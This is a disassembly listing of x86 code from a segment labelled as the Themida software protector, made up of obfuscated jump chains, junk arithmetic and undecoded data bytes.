		push	440Ah
		mov	[esp], esi
		push	esp
		pop	esi
		add	esi, 4
		jmp	loc_5A700C
; ---------------------------------------------------------------------------
		dw 80B5h
		dd 0B4505266h, 0C0D4F676h, 73E903E4h, 83FFFF87h, 0C90B04C4h
		dd 4550840Fh, 1868FFFFh, 0E900000Dh, 0FFFF813Bh, 24048B66h
		dd 68E78957h, 446Dh, 0B8240489h, 4, 16E9C701h, 2DFFFF92h
		dd 75261CCFh, 2958C229h, 46E6E9C2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A61C2:				; CODE XREF: Themida_:005A99B8j
		shl	esi, 3
		dec	esi
		push	ebx
		push	esi
		mov	esi, 2EE550F7h
		add	esi, 1A9A3E95h
		add	esi, 52B2214Fh
		add	esi, 666E4920h
		push	edx
		mov	edx, esi
		mov	ebx, edx
		pop	edx
		pop	esi
		jmp	loc_5A4B73
; ---------------------------------------------------------------------------


loc_5A61EB:				; CODE XREF: Themida_:005974FDj
		mov	edx, [esp]
		add	esp, 4
		add	ebx, 3AED773Ah
		inc	ebx
		inc	ebx
		add	ebx, 0ADE469ADh
		jmp	loc_5A68AB
; ---------------------------------------------------------------------------


loc_5A6207:				; CODE XREF: Themida_:005A2B5Aj
		add	eax, 4
		jmp	loc_598AC5
; ---------------------------------------------------------------------------
		db 81h,	0E1h, 94h
		dd 812A1E7Dh, 984C6BE1h, 0A2F1813Eh, 0E964462Ch, 0FFFF8003h
; ---------------------------------------------------------------------------


loc_5A6228:				; CODE XREF: Themida_:005A7765j
		add	ebp, esi
		pop	esi
		xor	ecx, ebp
		pop	ebp
		push	ebp
		mov	ebp, 0D0640B4Dh
		jmp	loc_5A991C
; ---------------------------------------------------------------------------


loc_5A6239:				; CODE XREF: Themida_:00595EAEj
		mov	[esp], esi
		mov	esi, 6D69346Fh
		sub	[esp+8], esi
		pop	esi
		sub	dword ptr [esp+4], 564C3274h
		jmp	loc_5A541D
; ---------------------------------------------------------------------------
		db 68h
		dd 1CDCh, 89240C89h, 4C181E1h, 81000000h, 4ECh,	24348900h
		dd 0AD12C6BEh, 56C68130h, 4E36160Bh, 6191B951h,	0E9C1733Dh
		dd 81D9F708h, 2C3EE2C9h, 0BD55492Dh, 66701D15h,	0E95DE929h
		dd 0D2Ch
; ---------------------------------------------------------------------------


loc_5A6298:				; CODE XREF: Themida_:005AA08Dj
		sub	ebp, 4F351223h
		mov	eax, [esp]
		add	esp, 4
		sub	ebp, 0F1B1B50Dh
		and	eax, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_599CB9
; ---------------------------------------------------------------------------


loc_5A62C3:				; CODE XREF: Themida_:0059CCFEj
		mov	esi, 287D5E96h
		shr	esi, 5
		jmp	loc_5A5DD9
; ---------------------------------------------------------------------------
		dd 67220548h, 3B2D6366h, 0E9A0CEE2h, 0FFFFC7F9h, 9C7026BAh
		dd 3E2C162h, 0FFCFF3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A62ED:				; CODE XREF: Themida_:0059F014j
		push	3F0F07FFh
		jmp	loc_5A1EE8
; ---------------------------------------------------------------------------
		db 5Ch
		dd 4C481h, 5C310000h, 34FF0424h, 0C4815B24h, 4,	2809E9h
		dd 5EF18900h, 0FF4587E9h, 5D5B5AFFh, 0FFC0B60Fh, 0E4688734h
		dd 89000031h, 0F2E9241Ch, 89FFFF3Eh, 4B850E2h, 1000000h
		dd 4201E9C2h, 8F580000h, 248B2404h, 24348924h, 0FF2258E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A634D:				; CODE XREF: Themida_:005999F5j
		pop	eax
		add	ebx, ebp
		add	ebx, 61DF41E7h
		pop	ebp
		xor	ebx, [esp]
		jmp	loc_599FAD
; ---------------------------------------------------------------------------


loc_5A635F:				; CODE XREF: Themida_:005970F0j
		sub	ebp, 4
		push	ebp
		jmp	loc_59B66F
; ---------------------------------------------------------------------------
		db 30h
		dd 0C0B60FC3h, 87048F66h, 0FEFB13E9h, 1775B9FFh, 0D1F722EAh
		dd 0C981D1F7h, 4D854B0Ch, 341AC181h, 8E9C387h, 87FFFF51h
		dd 248B241Ch, 51E924h, 0E9590000h, 334Dh, 31EAE959h, 29580000h
		dd 0FDBF57CAh, 17BA80Ch, 0EC835FFAh, 0B997E904h, 0E589FFFFh
		dd 4F7E9h, 0E9F82900h, 469Fh, 585BD988h, 0C1305B66h, 0FFD93058h
		dd 0F6E92434h, 8FFFFFEEh, 0A5E94047h
		db 0FAh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5A63E7:				; CODE XREF: Themida_:005AAD76j
		add	esp, 4
		jmp	loc_5A0DE7
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFEFA98h, 8B2434FFh, 0C4832404h, 4EC8304h,	0FFEEA5E9h
		dd 240487FFh, 4BF1E9h, 4C48100h, 88000000h, 48B5AD3h, 0E1895124h
		dd 4C181h, 0C1830000h, 240C8704h, 44F3805Ch, 1C8BD820h
		dd 4C48124h, 68000000h,	6894h, 54243C89h, 0C3B7E95Fh, 0B850FFFFh
		dd 609A3028h, 9BB1E951h, 0E95EFFFFh, 0FFFFBAEFh, 8B95159h
		dd 29E4E336h, 936DE9CFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A6466:				; CODE XREF: Themida_:005A78D5j
		add	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	edx
		mov	edx, 1901213Bh
		jmp	loc_5A259F
; ---------------------------------------------------------------------------
		dd 8103EEC1h, 682086EEh, 3FCE8108h, 0E923DF21h,	0FFFF24F0h
		dd 24048B66h, 8716E951h, 0D629FFFFh, 92DE9h, 0BF0F5C00h
		dd 262768C8h, 0C890000h, 0F9DAE924h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5A64B2:				; CODE XREF: Themida_:00599E8Cj
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebp
		push	edx
		push	ecx
		jmp	loc_5A4304
; ---------------------------------------------------------------------------
		db 89h,	0E6h, 0E9h
		dd 0FFFF3EBDh, 241C895Ch, 6862B551h, 119Eh, 88241489h
		dd 0F9CDE9EAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A64E6:				; CODE XREF: Themida_:005A6696j
		mov	[esp], ebp
		mov	ebp, 100h
		push	408Bh
		mov	[esp], ebp
		push	esi
		mov	esi, 69CF657Ch
		add	[esp+4], esi
		mov	esi, [esp]
		add	esp, 4
		mov	edx, [esp]
		add	esp, 4
		sub	edx, 69CF657Ch
		mov	ebp, [esp]
		add	esp, 4
		and	eax, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		jmp	loc_5A7293
; ---------------------------------------------------------------------------


loc_5A652E:				; CODE XREF: Themida_:0059CB73j
		pop	edi
		mov	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		mov	ebx, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	ecx
		mov	ecx, 24h
		add	ecx, edi
		jmp	loc_5A5C08
; ---------------------------------------------------------------------------


loc_5A6550:				; CODE XREF: Themida_:005A869Fj
		add	ebx, 71DB4324h
		add	ebx, 648B5CBBh
		jmp	loc_5A043F
; ---------------------------------------------------------------------------
		db 5Fh,	56h, 0FFh
		dd 8B042474h, 0C4832434h, 24048F04h, 0E924248Bh, 0FFFF5E17h
; ---------------------------------------------------------------------------


loc_5A6578:				; CODE XREF: Themida_:0059C992j
		sub	eax, esi
		pop	esi
		xchg	eax, [esp]
		jmp	loc_5A7278
; ---------------------------------------------------------------------------
		db 40h
		dd 47E6B951h, 0C801347Ch, 40CE959h, 0C381FFFFh,	0D7FFE7E4h
		dd 875BDE01h, 248B2434h, 24043124h, 0F8E2E99Ch,	0D689FFFEh
		dd 24B9E9h
		db 0
; ---------------------------------------------------------------------------


loc_5A65B1:				; CODE XREF: Themida_:005A74D0j
		add	esp, 4
		push	4AF9h
		jmp	loc_599D73
; ---------------------------------------------------------------------------
		db 55h,	0BDh, 2
		dd 29000000h, 0D89E9E8h, 148BFFFFh, 0DFE95124h,	89FFFFCDh
		dd 72D68E1h, 2CE90000h
		db 0D6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A65E3:				; CODE XREF: Themida_:0059B0CBj
		pop	eax
		jmp	loc_59EE9C
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 3DF4E9h, 0B60F6600h,	0E46866CCh, 0C896662h, 0DEBBE924h
		dd 815EFFFFh, 4C4h, 65086800h, 0C890000h, 3ED0E924h, 0B8500000h
		dd 5D7A465Bh, 5D58C329h, 65E9C231h, 68FFFEF8h, 4F66h, 68240489h
		dd 354Dh, 0FFE979E9h, 0E9835AFFh, 24BB5301h, 290038B8h
		dd 9BCCE9D9h, 895CFFFFh, 0B868241Ch, 89000022h,	0BE562414h
		dd 28730FDCh, 0FF2623E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A6661:				; CODE XREF: Themida_:00598169j
		not	byte ptr [esp]
		pop	bx
		xchg	bl, cl
		xor	cl, 5Ch
		push	eax
		push	edx
		jmp	loc_599753
; ---------------------------------------------------------------------------


loc_5A6672:				; CODE XREF: Themida_:0059AE39j
		add	esp, 4
		jmp	loc_5960EA
; ---------------------------------------------------------------------------


loc_5A667D:				; CODE XREF: Themida_:0059CC82j
		add	esp, 4
		xor	ebp, 4BE2946Fh
		jmp	loc_5A8C0C
; ---------------------------------------------------------------------------
		db 89h
		dd 0CE015FF9h, 0FFB4E8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A6695:				; CODE XREF: Themida_:0059D942j
		pop	esp
		jmp	loc_5A64E6
; ---------------------------------------------------------------------------


loc_5A669B:				; CODE XREF: Themida_:0059F175j
		push	0A2000852h
		pop	eax
		xor	esi, eax
		jmp	loc_599090
; ---------------------------------------------------------------------------
		dd 2837C380h, 37EB80F3h, 0E9505A66h, 0FFFFD1D1h, 87C1815Ch
		db 0C6h, 7Bh, 0C5h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5A0104
; ---------------------------------------------------------------------------
		db 89h
		dd 0EBB5240Ch, 87E95166h
		db 9, 2	dup(0)
; ---------------------------------------------------------------------------


loc_5A66E3:				; CODE XREF: Themida_:005A70B3j
		push	edx
		mov	edx, 63DD3D07h
		jmp	loc_599E0E
; ---------------------------------------------------------------------------


loc_5A66EE:				; CODE XREF: Themida_:00598646j
		not	eax
		shl	eax, 2
		inc	eax
		add	eax, 40ED58DAh
		sub	edi, eax
		pop	eax
		add	edi, ebx
		jmp	loc_5A2BEB
; ---------------------------------------------------------------------------
		db 0BEh
		dd 555437FFh, 5C60EE81h, 0D6F73BB6h, 0BF5AE946h, 4BDFFFFh
		dd 52000000h, 0FF6D39E9h, 7EFE68FFh, 34890000h,	297BE24h
		dd 0E6815853h, 615F2935h, 0FFEFC681h, 0EF81BFACh, 256E44ABh
		dd 0FF85EDE9h, 2DBF57FFh, 0E91F663Bh, 0FFFF8184h
; ---------------------------------------------------------------------------


loc_5A6750:				; CODE XREF: Themida_:00598FFAj
		mov	edi, [esp]
		add	esp, 4
		and	esi, 140273FAh
		shr	esi, 2
		jmp	loc_599AD5
; ---------------------------------------------------------------------------
		db 81h
		dd 0F40C7BC6h, 0C3EE8136h, 8373C62Fh, 148904ECh, 0D711E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A677E:				; CODE XREF: Themida_:0059D06Ej
		mov	eax, [esp]
		jmp	loc_5A4DF8
; ---------------------------------------------------------------------------
		dw 4B9h
		dd 1000000h, 396859C8h,	8900002Dh, 9C68242Ch, 5D50C747h
		dd 0FF51F4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A67A1:				; CODE XREF: Themida_:005AA6C0j
		dec	dword ptr [esp]
		not	dword ptr [esp]
		jmp	loc_5A2F8F
; ---------------------------------------------------------------------------
		dd 4C381h, 0EB830000h, 903EE904h, 0EA89FFFFh, 0C2815F5Dh
		dd 6B364EADh, 756BEA81h, 0FA014C8Bh, 0FF1CB3E9h, 0E9D5F7FFh
		dd 0FFFFF4FCh
; ---------------------------------------------------------------------------


loc_5A67D8:				; CODE XREF: Themida_:0059A984j
		add	esp, 4
		popa
		popf
		retn
; ---------------------------------------------------------------------------
		dw 0A9E9h
		db 0F6h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5A67E3:				; CODE XREF: Themida_:0059D884j
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_59F539
; ---------------------------------------------------------------------------
		dd 0FEF69BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A67F1:				; CODE XREF: Themida_:00596698j
		add	edi, 4
		jmp	loc_59DD7A
; ---------------------------------------------------------------------------


loc_5A67F9:				; CODE XREF: Themida_:00595F02j
		sub	dword ptr [esp+4], 56E30FFAh
		mov	edi, [esp]
		add	esp, 4
		mov	ebx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		add	ebx, 2F864FADh
		pop	edi
		and	eax, ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_598051
; ---------------------------------------------------------------------------


loc_5A6831:				; CODE XREF: Themida_:005A3566j
		sub	esi, 73EF58AAh
		pop	edx
		jmp	loc_597FC3
; ---------------------------------------------------------------------------
		db 5Ah,	50h, 0E9h
		dd 0FFFF7A13h, 0F602EBC0h, 0E3F380D3h, 2FE9D930h, 89FFFF30h
		dd 42BB241Ch, 0C1333307h, 814305EBh, 0E070B6EBh, 5BDF01BEh
		dd 0FFBEAEE9h, 0F61AE9FFh
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5A6872:				; CODE XREF: Themida_:00598925j
		not	dword ptr [esp]
		jmp	loc_59FB21
; ---------------------------------------------------------------------------


loc_5A687A:				; CODE XREF: Themida_:005A75F3j
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		shr	ecx, 2
		push	2DE6h
		mov	[esp], edx
		push	0D26h
		jmp	loc_5AA78C
; ---------------------------------------------------------------------------


loc_5A6899:				; CODE XREF: Themida_:005A7ADEj
		shr	esi, 4
		neg	esi
		add	esi, 255D19E0h
		xor	edi, esi
		jmp	loc_596FAD
; ---------------------------------------------------------------------------


loc_5A68AB:				; CODE XREF: Themida_:005A6202j
		sub	edx, 4AAA5B72h
		push	ecx
		mov	ecx, 20C61A77h
		jmp	loc_59A4D2
; ---------------------------------------------------------------------------
		dd 20FCBA52h, 0D2F72C7Ch, 0DF07F281h, 0D501D383h, 82E9505Ah
		db 1Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A68D3:				; CODE XREF: Themida_:0059A72Ej
		push	edi
		mov	edi, 4
		add	edx, edi
		pop	edi
		push	edi
		mov	edi, 4
		add	edx, edi
		pop	edi
		xchg	edx, [esp]
		pop	esp
		jmp	loc_595E8C
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 0E96AB324h, 151Bh, 0AA2E94Ah, 8158FFFFh, 167835C5h
		dd 243C8B09h, 4C481h, 11E90000h, 68FFFF6Bh, 3258h, 0BB241C89h
		dd 4, 34FFDD01h, 0C4815B24h, 4,	31242C33h, 2C33242Ch, 24248B24h
		dd 0C0EE9h, 0E9545000h,	0FFFFB85Dh, 0E20804B4h,	46E95866h
		dd 0FFFFFF12h, 59042474h, 8B24048Fh, 2C892424h,	4C16BD24h
		dd 0BB5309BCh, 1FF054F3h, 0FF3E3DE9h, 8BF389FFh, 0C4832434h
		dd 20F38104h, 50110255h, 0A3DE2DB8h, 58C329F7h,	293E8B2Dh
		dd 5D80170h, 70293E8Bh,	8B2434FFh, 0C481241Ch, 4, 6804C483h
		dd 698h, 55241489h, 1BE2E9h
		db 0
; ---------------------------------------------------------------------------


loc_5A69AD:				; CODE XREF: Themida_:0059B736j
		push	1BE6h
		mov	[esp], edi
		mov	edi, 5A137D6Ah
		jmp	loc_5A2EB1
; ---------------------------------------------------------------------------
		db 89h
		dd 4EC83E6h, 0BB241C89h, 4, 0FFBA1CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A69D1:				; CODE XREF: Themida_:0059A029j
		push	eax
		jmp	loc_596B05
; ---------------------------------------------------------------------------


loc_5A69D7:				; CODE XREF: Themida_:005A3867j
		push	7A31h
		mov	[esp], ecx
		mov	ecx, 6853FFFh
		xor	ecx, 6853FFBh
		add	ebx, ecx
		jmp	loc_5AA249
; ---------------------------------------------------------------------------
		db 81h,	0F2h, 2Ah
		dd 893A71B0h, 0C1495AD1h, 0E98105E9h, 26B11BCAh, 2E7FE9h
		db 0
; ---------------------------------------------------------------------------


loc_5A6A09:				; CODE XREF: Themida_:005A48A3j
		push	ebp
		push	esi
		jmp	loc_59EF93
; ---------------------------------------------------------------------------
		dd 6E93BE56h, 0B8507307h, 0C6D0FD9h, 0D0F7D0F7h, 0F706E0C1h
		dd 0E9D0F7D8h, 1EAFh, 4240483h,	40558h,	68570000h, 14B674C3h
		dd 5F2434FFh, 0FF0542E9h, 1BB850FFh, 0C10F2803h, 4E2506E8h
		dd 352AFC28h, 3C2008h, 158C189h, 2434FFCFh, 0FFA95EE9h
		dd 2278BBFFh, 0BD555694h, 79A66276h, 4609C581h,	0E5C127FEh
		dd 2E5C108h, 0D5C4F581h, 0EB09BA08h, 0BA52435Dh, 58070EC9h
		dd 0FF5B5EE9h, 4C683FFh, 0FFB081E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A6A99:				; CODE XREF: Themida_:005A25A0j
		inc	eax
		push	edx
		push	eax
		pop	edx
		jmp	loc_5A369A
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 24248B24h, 0FF484AE9h, 0EB8853FFh, 0BCE9DA88h, 81000037h
		dd 0FD8366C5h, 0E9EB2914h, 0FFFFC558h, 5A2434FFh, 0FF4E83E9h
		dd 8034B6FFh, 0C68037E6h, 3EEC029h, 5108E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A6ADE:				; CODE XREF: Themida_:005A80C0j
		mov	esi, 42CB7202h
		shl	esi, 3
		neg	esi
		push	esi
		not	dword ptr [esp]
		jmp	loc_599056
; ---------------------------------------------------------------------------
		db 89h,	3Ch, 24h
		dd 0C781E789h, 4, 1BEEE9h, 7536BF00h, 0C14714B0h, 0D7F704EFh
		dd 0FF0BB2E9h, 22E947FFh, 8BFFFF15h, 0C892424h,	4B924h
		dd 0CF010000h, 243C3359h, 0FF0C70E9h, 2434FFFFh, 4EC8358h
		dd 0E9241C89h, 0FFFF0851h
; ---------------------------------------------------------------------------


loc_5A6B3C:				; CODE XREF: Themida_:005A20EAj
		xor	ebp, edx
		pop	edx
		push	ebx
		mov	ebx, 7D4D0DC0h
		xor	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5A8B07
; ---------------------------------------------------------------------------


loc_5A6B55:				; CODE XREF: Themida_:005A22EDj
		mov	edx, ebx
		jmp	loc_5AB0C6
; ---------------------------------------------------------------------------
		dd 4EC8358h, 68240C89h,	7D28h, 0E9243C89h, 0FFFF5ED6h
		dd 4C381h, 0EB830000h, 241C8704h, 0FFF94FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A6B81:				; CODE XREF: Themida_:0059883Aj
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	7C60h
		mov	[esp], ebp
		jmp	loc_5A4151
; ---------------------------------------------------------------------------
		dd 0C381435Bh, 64D07B4Fh, 0CB81D3F7h, 6D240C96h, 221A68h
		dd 24148900h, 0DD7F3FBAh, 0A005E965h, 0D789FFFFh, 0FFA9A4E9h
		dd 11E950FFh, 81FFFF26h, 4C4h, 0C5815D00h, 4, 0A633E957h
		dd 0C781FFFFh, 633649E6h, 556F6851h, 0C159193Eh, 0BE5606E9h
		dd 1, 815EF129h, 655CA6C1h, 0CFB85071h,	481B5C75h, 315DDE35h
		dd 77553563h, 7DE91C87h
		db 0ADh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A6C0B:				; CODE XREF: Themida_:00599927j
		mov	[esp], eax
		push	6672h
		mov	[esp], ebx
		mov	ebx, 2D9B5313h
		shl	ebx, 8
		push	361Bh
		mov	[esp], esi
		mov	esi, 9B53131Ch
		jmp	loc_59C3AF
; ---------------------------------------------------------------------------


loc_5A6C30:				; CODE XREF: Themida_:005AA36Ej
		sub	esi, ebx
		add	esi, 34E34DABh
		jmp	loc_5A2339
; ---------------------------------------------------------------------------
		db 68h,	0B5h, 20h
		dd 0BDE949C4h, 87FFFF3Eh, 895C240Ch, 0E9562404h, 0FFFF260Eh
		dd 4C4835Dh, 7D5D68h, 7375E900h, 0E829FFFFh, 1E362C2Dh
		dd 242C8B74h, 4C481h, 4330000h,	24043124h, 0E9240433h
		dd 0FFFF816Dh, 4C281h, 0EA830000h, 24148704h, 8924248Bh
		dd 4812424h, 424h, 24348B00h, 8104C483h, 4C6h, 54575700h
		dd 4C7815Fh, 81000000h,	4EFh, 243C8700h, 0FF5C31E9h, 5EF101FFh
		dd 1F89B951h, 7DE948D5h
		db 24h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A6CCB:				; CODE XREF: Themida_:005A4D89j
		mov	[esp], esi
		jmp	loc_5A9390
; ---------------------------------------------------------------------------


loc_5A6CD3:				; CODE XREF: Themida_:005A7ABDj
		mov	[esp], ebx
		mov	eax, [esp]
		jmp	loc_59D217
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 89240489h, 405E0h, 0D9E90000h, 68000025h,	367Eh
		dd 0B9240C89h, 558532C7h, 3DD50CBEh, 0F2C681FEh, 0E9164552h
		dd 0FFFEF54Ch, 0FF2434FFh, 83582434h, 31E904C4h, 59FFFF8Bh
		dd 8304C483h, 1C8904ECh, 2304BB24h, 0EC8335D7h,	24348904h
		dd 397B56BEh, 2248E948h, 4330000h, 8F545C24h, 0BA522404h
		dd 4, 4245401h,	5E89E95Ah, 8B5CFFFFh, 0C4812404h, 4, 1E26E952h
		dd 89BAFFFFh, 0E93EA565h, 0FFFF6A24h, 31241C33h, 4CE9241Ch
		db 45h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A6D7B:				; CODE XREF: Themida_:00599934j
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_5A3552
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 10DC3355h, 0EA81DA29h, 10DC3355h, 19EAEA81h,	0CBE94A40h
		db 0C1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A6DA3:				; CODE XREF: Themida_:005962AAj
		mov	esp, [esp]
		push	esi
		mov	esi, 49D5694Bh
		or	esi, 19FB69E0h
		push	eax
		mov	eax, 43BA6A96h
		add	esi, eax
		mov	eax, [esp]
		push	ebp
		jmp	loc_5A2E9B
; ---------------------------------------------------------------------------
aB?pIs9		db 'Á?P^Ié;9',0
		align 2
		dw 505Ah
		dd 0FEFA1DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A6DD5:				; CODE XREF: Themida_:005968BCj
		push	ebx
		push	esp
		jmp	loc_59DBE6
; ---------------------------------------------------------------------------


loc_5A6DDC:				; CODE XREF: Themida_:0059CBB0j
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], edi
		sub	esp, 4
		jmp	loc_59BDFE
; ---------------------------------------------------------------------------
		db 5
aRIgst		db '(IGét',27h,0
		db 0
; ---------------------------------------------------------------------------


loc_5A6DFD:				; CODE XREF: Themida_:005A4B6Ej
		pop	ebx
		push	6Bh
		jmp	loc_5A1CDE
; ---------------------------------------------------------------------------
		dd 8B2414F7h, 0C481243Ch, 4, 3331B850h,	9E977D1h
		db 1Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A6E1F:				; CODE XREF: Themida_:00598587j
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		dw 0C361h
		dd 582434FFh, 4EC81h, 0C890000h, 0E9E18924h, 0FFFF5F3Eh
; ---------------------------------------------------------------------------


loc_5A6E38:				; CODE XREF: Themida_:0059FF58j
		dec	ebp
		push	ebp
		xchg	ebx, [esp]
		xchg	eax, ebx
		not	eax
		jmp	loc_59C3C7
; ---------------------------------------------------------------------------


loc_5A6E45:				; CODE XREF: Themida_:0059A8F4j
		inc	edi
		neg	edi
		add	edi, 1A4AC301h
		add	ebp, edi
		mov	edi, [esp]
		jmp	loc_59782F
; ---------------------------------------------------------------------------
		dd 0E904C483h, 0FFFEF02Ch, 0E904C483h, 3FF9h, 4C681h, 0EE830000h
		dd 885E904h, 5359FFFFh,	8C56D2BBh, 0CEEB815Ah, 81468642h
		dd 465197E3h, 95F3812Ch, 0E92D211Ch, 0FFFFDBC1h, 4BF57h
		dd 7BE90000h, 81FFFF13h, 4C6h, 0BE565100h, 18C17023h, 69BCBD55h
		dd 0EE214100h, 0CEBD555Dh, 0E972C456h, 0FFFF0914h, 5C24048Fh
		dd 68241489h, 7ADCh, 30E8E9h, 0BD555B00h, 0BCE3A10h, 0EDC1D5F7h
		dd 4EBA5207h, 0E9272425h, 0FFFF2B5Fh
; ---------------------------------------------------------------------------


loc_5A6EE8:				; CODE XREF: Themida_:00597C8Dj
		add	esi, 4
		add	esi, 4
		jmp	loc_5961CE
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 167E1E43h, 7B9DEA81h, 0D529902Eh, 0E9DD015Ah, 0FFFF042Ah
		dd 3CB968h, 24048900h, 0E78849B4h, 0FFF220E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A6F1D:				; CODE XREF: Themida_:005961D2j
		sub	[edi+24h], ebp
		pop	ebp


loc_5A6F21:				; CODE XREF: Themida_:00597C3Ej
		push	4F06h
		mov	[esp], ebx
		push	dword ptr [esp]
		jmp	loc_59EF9D
; ---------------------------------------------------------------------------
		db 0BFh, 0D8h, 1Fh
		dd 0FD8931A7h, 8BEF095Fh, 0C481242Ch, 4, 11D4EF81h, 0BA526279h
		dd 0D27AB947h, 8D6EF81h, 0D729315Ah, 8D6C781h, 148B315Ah
		dd 0FD90E924h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5A6F66:				; CODE XREF: Themida_:005A00A8j
		push	eax
		push	1708h
		mov	[esp], esp
		push	ebp
		mov	ebp, 4
		add	[esp+4], ebp
		pop	ebp
		mov	eax, [esp]
		jmp	loc_5974A1
; ---------------------------------------------------------------------------
		dw 0C068h
		dd 8900001Dh, 0F8E92414h, 88FFFF83h, 5AD388EAh,	0E9DD8851h
		dd 0FFFF93ECh, 0FF2434FFh, 48B2434h, 4C48124h, 81000000h
		dd 4C4h, 2866E900h, 685DFFFFh, 5061h, 0E9243489h, 0FFFF4823h
		dd 0C8BCE01h, 4C48324h,	335EF101h, 0C31240Ch, 240C3324h
		dd 0FF1E8BE9h, 24048FFFh, 2434FF5Ch, 592434FFh,	4C481h
		dd 54500000h, 0F2DE958h, 0EFC10000h, 0DC57E908h, 1489FFFFh
		dd 0FCDE924h, 0E950FFFFh, 0FFFFBE44h
; ---------------------------------------------------------------------------


loc_5A700C:				; CODE XREF: Themida_:005A616Dj
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4
		add	esi, ecx
		pop	ecx
		jmp	loc_59F6AB
; ---------------------------------------------------------------------------
		dw 68B9h
		dd 0F702633Ch, 93BE56D1h, 0E9FD9CC3h, 0FFFF002Ch, 0A32DB2BAh
		dd 29C5E913h, 0C483FFFFh, 0C2E28004h, 3018B151h, 2498E9CAh
		dd 0C5810000h, 0A423978h, 0E95DEA01h, 0FFFF6BCBh, 54241489h
		dd 5A2434FFh, 0ED62E955h, 2B1FFFFh, 5966CB00h, 0FF0F14E9h
		dd 9EE95EFFh, 0B7FFFF40h, 81B652FBh, 8058CE80h,	0C6FE75E6h
		dd 73EE80h, 0F8285AF0h,	5B66DF2Ch, 0D800D52Ch, 5166D504h
		dd 13D268h, 24048900h, 0FF2509E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A70A9:				; CODE XREF: Themida_:00598E7Fj
		mov	eax, 2D3900BBh
		xor	eax, 3F306ECAh
		jmp	loc_5A66E3
; ---------------------------------------------------------------------------


loc_5A70B8:				; CODE XREF: Themida_:005A15F1j
		add	edx, edi
		pop	edi
		xchg	edx, [esp]
		pop	esp
		push	6BFEh
		mov	[esp], eax
		mov	eax, 7CC57DC7h
		push	edi
		jmp	loc_599E91
; ---------------------------------------------------------------------------
		dw 30B8h
		dd 0E9733364h, 0FFFF5B3Ch, 0E9243C89h, 0FFFFC57Ah, 4133C581h
		dd 0CD811AD6h, 58E41CA3h, 0FFBE42E9h, 148B59FFh, 11FBE924h
		dd 59BAFFFFh, 0F7458938h, 63BB53D2h, 1509F9Bh, 0D3015BDAh
		dd 0FEEFDDE9h, 99D5B9FFh, 0CB0109C1h, 0E9240C8Bh, 2480h
		dd 42474FFh, 0FD92E959h, 5659FFFFh, 0E23575BEh,	45DE921h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A713A:				; CODE XREF: Themida_:00598F49j
		pop	esp
		jmp	loc_5A9518
; ---------------------------------------------------------------------------
		dd 241C895Ch, 0FFE7C6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A7149:				; CODE XREF: Themida_:005A793Fj
		add	dword ptr [esp], 4
		jmp	loc_5A023B
; ---------------------------------------------------------------------------
		db 89h,	0E2h, 81h
		dd 4C2h, 4EA8300h, 0E9241487h, 0FFFF8C75h, 240C8B66h, 68E08950h
